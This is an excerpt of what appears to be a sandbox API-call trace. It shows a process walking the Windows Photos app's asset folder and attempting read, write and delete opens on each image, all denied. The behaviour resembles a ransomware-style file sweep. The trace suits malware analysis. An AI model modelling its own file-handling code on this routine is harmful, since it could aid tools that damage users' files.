	[0090.986] wcscat (in: _Dest=0x4771868, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.986] wcscat (in: _Dest=0x4771868, _Source="PhotosAppList.contrast-black_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-200.png"
	[0090.986] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_scale-200.png")) returned 0x20
	[0090.987] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.987] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.987] GetLastError () returned 0x5
	[0090.987] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.987] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771868) returned 1
	[0090.988] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8468f958, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8468f958, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8468f958, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_targetsize-16.png", cAlternateFileName="")) returned 1
	[0090.988] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-16.png", _String2=".") returned 1
	[0090.988] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-16.png", _String2="..") returned 1
	[0090.988] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0090.988] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.988] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.988] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-black_targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-16.png"
	[0090.988] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-16.png")) returned 0x20
	[0090.990] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.990] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-16.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.990] GetLastError () returned 0x5
	[0090.990] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.990] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0090.990] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8468f958, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8468f958, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8468f958, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_targetsize-20.png", cAlternateFileName="")) returned 1
	[0090.990] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-20.png", _String2=".") returned 1
	[0090.990] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-20.png", _String2="..") returned 1
	[0090.990] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0090.990] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.990] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.990] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-black_targetsize-20.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-20.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-20.png"
	[0090.990] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-20.png")) returned 0x20
	[0090.992] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0090.992] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-20.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.992] GetLastError () returned 0x5
	[0090.992] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0090.992] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0090.992] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846b5bb2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x846b5bb2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x846b5bb2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_targetsize-24.png", cAlternateFileName="")) returned 1
	[0090.992] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-24.png", _String2=".") returned 1
	[0090.992] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-24.png", _String2="..") returned 1
	[0090.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0090.992] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.992] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.992] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-black_targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-24.png"
	[0090.993] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-24.png")) returned 0x20
	[0090.993] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.993] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-24.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.993] GetLastError () returned 0x5
	[0090.993] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0090.993] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846b5bb2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x846b5bb2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x846b5bb2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_targetsize-256.png", cAlternateFileName="")) returned 1
	[0090.993] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-256.png", _String2=".") returned 1
	[0090.993] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-256.png", _String2="..") returned 1
	[0090.993] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x2d85ee8
	[0090.993] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.993] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.993] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-black_targetsize-256.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-256.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-256.png"
	[0090.993] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-256.png")) returned 0x20
	[0090.995] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0090.995] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-256.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.995] GetLastError () returned 0x5
	[0090.995] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0090.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0090.995] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846b5bb2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x846b5bb2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x846b5bb2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_targetsize-32.png", cAlternateFileName="")) returned 1
	[0090.995] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-32.png", _String2=".") returned 1
	[0090.995] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-32.png", _String2="..") returned 1
	[0090.995] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0090.995] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.995] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.996] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-black_targetsize-32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-32.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-32.png"
	[0090.996] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-32.png")) returned 0x20
	[0090.997] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0090.997] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.998] GetLastError () returned 0x5
	[0090.998] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0090.998] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0090.998] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846b5bb2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x846b5bb2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x846b5bb2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_targetsize-40.png", cAlternateFileName="")) returned 1
	[0090.998] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-40.png", _String2=".") returned 1
	[0090.998] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-40.png", _String2="..") returned 1
	[0090.998] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0090.998] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.998] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.998] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-black_targetsize-40.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-40.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-40.png"
	[0090.998] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-40.png")) returned 0x20
	[0091.000] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-40.png", dwFileAttributes=0x20) returned 0
	[0091.000] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-40.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.000] GetLastError () returned 0x5
	[0091.000] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-40.png", dwFileAttributes=0x20) returned 0
	[0091.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.000] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846b5bb2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x846b5bb2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x846b5bb2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_targetsize-48.png", cAlternateFileName="")) returned 1
	[0091.000] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-48.png", _String2=".") returned 1
	[0091.000] wcscmp (_String1="PhotosAppList.contrast-black_targetsize-48.png", _String2="..") returned 1
	[0091.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0091.000] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.000] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.000] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-black_targetsize-48.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-48.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-48.png"
	[0091.001] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-48.png")) returned 0x20
	[0091.001] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0091.001] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_targetsize-48.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.001] GetLastError () returned 0x5
	[0091.001] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0091.001] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
